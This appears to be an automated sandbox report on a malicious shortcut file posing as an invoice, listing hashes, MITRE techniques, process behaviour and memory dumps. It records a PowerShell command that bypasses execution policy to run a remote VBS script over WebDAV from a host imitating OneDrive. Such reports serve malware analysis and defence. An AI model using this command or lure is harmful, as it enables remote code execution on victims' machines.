3a0720342249d8354e236292fc23be9d7d5a92bde5f23201283ef8f88671047f

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
08/04/2024, 17:29

Target

lnvoice.lnk
Size

1KB
MD5

f3ef596835aba4c8bab9c6edb8be5a00
SHA1

34d857c809cc61ced5697eafacaf5ad5ce722120
SHA256

3a0720342249d8354e236292fc23be9d7d5a92bde5f23201283ef8f88671047f
SHA512

7f3414303866c0e77ec04d9c3950acc7d7a708683324d5c09d69ff2beaf66428e30450457b3751ac9938a9d537708e70780b4bc9189aa56124eba1d08ec5d048

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2600	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2600	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 2600	1688	cmd.exe	29
PID 1688 wrote to memory of 2600	1688	cmd.exe	29
PID 1688 wrote to memory of 2600	1688	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\lnvoice.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass \\onedrive.bounceme.net\DavWWWRoot\test.vbs
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2600

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2600-39-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2600-41-0x000007FEF5120000-0x000007FEF5ABD000-memory.dmp

Filesize
9.6MB

Download
memory/2600-42-0x0000000002D10000-0x0000000002D90000-memory.dmp

Filesize
512KB

Download
memory/2600-40-0x0000000002850000-0x0000000002858000-memory.dmp

Filesize
32KB

Download
memory/2600-43-0x000007FEF5120000-0x000007FEF5ABD000-memory.dmp

Filesize
9.6MB

Download
memory/2600-44-0x0000000002D10000-0x0000000002D90000-memory.dmp

Filesize
512KB

Download
memory/2600-46-0x0000000002D10000-0x0000000002D90000-memory.dmp

Filesize
512KB

Download
memory/2600-45-0x0000000002D10000-0x0000000002D90000-memory.dmp

Filesize
512KB

Download
memory/2600-47-0x000007FEF5120000-0x000007FEF5ABD000-memory.dmp

Filesize
9.6MB

Download